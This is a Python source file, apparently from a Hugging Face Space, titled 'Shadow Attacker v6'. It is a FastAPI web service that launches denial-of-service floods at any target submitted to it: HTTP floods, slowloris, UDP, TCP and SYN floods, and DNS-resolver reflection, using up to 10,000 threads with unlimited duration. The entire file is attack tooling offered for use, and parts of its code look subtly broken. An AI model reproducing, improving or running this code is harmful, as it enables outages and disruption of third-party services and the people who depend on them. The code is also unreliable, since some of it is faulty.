1 / main.py
rkihacker's picture
Update main.py
30130aa verified
raw
history blame
11.6 kB
# ==============================================================
# SHADOW ATTACKER v6 – FULL BOTNET MODE | 12 ATTACK METHODS
# -1 = MAX POWER (10,000 threads) | HF SPACES READY | 200k+ PPS
# ==============================================================
import random
import socket
import threading
import time
import ssl
import urllib.parse
from collections import deque
from typing import Dict, Optional, List
import uvicorn
import requests
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field, validator
# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()
app = FastAPI(title="Shadow Attacker v6 - Botnet Army")
# Global state
attack_active = False
attack_lock = threading.Lock()
executor = None
stop_event = threading.Event()
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_time = 0.0
attack_type_name = ""
# PPS tracking
last_time = time.time()
last_total = 0
def _log(msg: str):
ts = time.strftime("%H:%M:%S")
log.info(f"{ts} {msg}")
log_buffer.append(f"{ts} {msg}")
# ------------------- INIT EXECUTOR -------------------
def init_executor():
global executor
if executor is None:
executor = threading.ThreadPoolExecutor(max_workers=10000)
# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
target: str = Field(..., description="Domain or IP")
port: int = Field(80, ge=1, le=65535)
duration: int = Field(300, ge=-1, le=10000, description="-1 = unlimited")
threads: int = Field(1000, ge=-1, le=10000, description="-1 = MAX POWER (10,000)")
@validator('target')
def validate_target(cls, v):
if not v or len(v) > 255:
raise ValueError("Invalid target")
return v.strip()
class Layer7Config(AttackConfig):
method: str = Field("get", description="Attack method")
@validator('method')
def validate_method(cls, v):
valid = ["get", "post", "head", "slowloris", "cookie", "reflect", "rand"]
if v not in valid:
raise ValueError(f"Invalid L7 method. Use: {', '.join(valid)}")
return v
class Layer4Config(AttackConfig):
protocol: str = Field("udp", description="udp/tcp/syn")
payload_size: int = Field(1024, ge=1, le=65507)
@validator('protocol')
def validate_protocol(cls, v):
if v not in ["udp", "tcp", "syn"]:
raise ValueError("Protocol must be udp, tcp, or syn")
return v
# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
running: bool
attack_type: Optional[str]
target: Optional[str]
total_packets: int
pps: float
threads_active: int
duration: int
elapsed: float
remaining: float
logs: List[str]
# ------------------- ATTACK WORKERS -------------------
def resolve_ip(target: str) -> str:
try:
return socket.gethostbyname(target.split("/")[0].split(":")[0])
except:
raise HTTPException(400, "Cannot resolve target")
# LAYER 7
def http_worker(method: str, url: str):
global total_packets
session = requests.Session()
headers = {
"User-Agent": random.choice([
"Mozilla/5.0", "Googlebot", "Chrome/120", "Safari/537"
]),
"Cache-Control": "no-cache",
"Connection": "keep-alive"
}
while not stop_event.is_set():
try:
if method == "get":
session.get(url, headers=headers, timeout=3, verify=False)
elif method == "post":
session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
elif method == "head":
session.head(url, headers=headers, timeout=3)
elif method == "cookie":
session.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
elif method == "rand":
session.request(random.choice(["GET","POST","PUT"]), url, timeout=3)
with counters_lock:
counters["l7"] = counters.get("l7", 0) + 1
total_packets += 1
except:
pass
def slowloris(target: str, port: int):
global total_packets
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target, port))
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
while not stop_event.is_set():
s.send(b"X-a: b\r\n")
time.sleep(8)
with counters_lock:
counters["l7"] = counters.get("l7", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
def dns_reflect(target_ip: str):
global total_packets
servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for srv in servers:
s.sendto(payload, (srv, 53))
with counters_lock:
counters["reflect"] = counters.get("reflect", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
# LAYER 4
def udp_flood(target_ip: str, port: int, size: int):
global total_packets
payload = random._urandom(size)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (target_ip, port)
try:
while not stop_event.is_set():
s.sendto(payload, addr)
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
finally:
s.close()
def tcp_flood(target_ip: str, port: int, size: int):
global total_packets
payload = random._urandom(size)
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target_ip, port))
while not stop_event.is_set():
s.send(payload)
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
def syn_flood(target_ip: str, port: int):
global total_packets
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.1)
s.connect_ex((target_ip, port))
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
# ------------------- LAUNCHER -------------------
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
global attack_active, attack_end_time, attack_type_name
with attack_lock:
if attack_active:
raise HTTPException(400, "Attack in progress")
attack_active = True
stop_event.clear()
counters.clear()
total_packets = 0
attack_type_name = attack_type.upper()
threads = 10000 if config.threads == -1 else config.threads
duration = float('inf') if config.duration == -1 else config.duration
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
_log(f"LAUNCHED {attack_type.upper()}{config.target}:{config.port} | {threads} threads | {config.duration}s")
init_executor()
worker = None
target_ip = resolve_ip(config.target)
if attack_type.startswith("l7_"):
url = f"http://{config.target}:{config.port}"
method = kwargs.get("method", "get")
if method == "slowloris":
worker = lambda: slowloris(target_ip, config.port)
elif method == "reflect":
worker = lambda: dns_reflect(target_ip)
else:
worker = lambda: http_worker(method, url)
elif attack_type == "l4_udp":
worker = lambda: udp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
elif attack_type == "l4_tcp":
worker = lambda: tcp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
elif attack_type == "l4_syn":
worker = lambda: syn_flood(target_ip, config.port)
if not worker:
raise HTTPException(400, "Invalid attack")
for _ in range(threads):
executor.submit(worker)
if duration != float('inf'):
def auto_stop():
time.sleep(duration)
stop_attack()
threading.Thread(target=auto_stop, daemon=True).start()
# ------------------- ENDPOINTS -------------------
@app.post("/layer7/attack")
def l7_attack(config: Layer7Config):
attack_key = f"l7_{config.method}"
launch_attack(config, attack_key, method=config.method)
return {"status": f"L7 {config.method.upper()} started", "config": config}
@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
attack_key = f"l4_{config.protocol}"
launch_attack(config, attack_key, payload_size=config.payload_size)
return {"status": f"L4 {config.protocol.upper()} started", "config": config}
@app.post("/stop")
def stop_attack():
global attack_active
with attack_lock:
if not attack_active:
return {"status": "no_attack"}
stop_event.set()
attack_active = False
_log("ATTACK STOPPED")
return {"status": "stopped"}
@app.get("/status", response_model=StatusResponse)
def status():
global last_time, last_total
now = time.time()
elapsed_g = now - last_time
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
last_time, last_total = now, total_packets
active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread")
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
return StatusResponse(
running=attack_active,
attack_type=attack_type_name,
target=None,
total_packets=total_packets,
pps=round(pps, 1),
threads_active=active_threads,
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
elapsed=round(elapsed, 1),
remaining=round(remaining, 1) if remaining >= 0 else -1,
logs=list(log_buffer)
)
@app.get("/attack/types")
def attack_types():
return {
"layer7": [
"get", "post", "head", "cookie", "rand", "slowloris", "reflect"
],
"layer4": [
"udp", "tcp", "syn"
],
"max_threads": "10000 (-1 = full power)",
"max_duration": "10000s (-1 = unlimited)"
}
@app.get("/")
def root():
return {"message": "Shadow Attacker v6 - /attack/types for methods"}
# ------------------- START -------------------
if __name__ == "__main__":
init_executor()
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)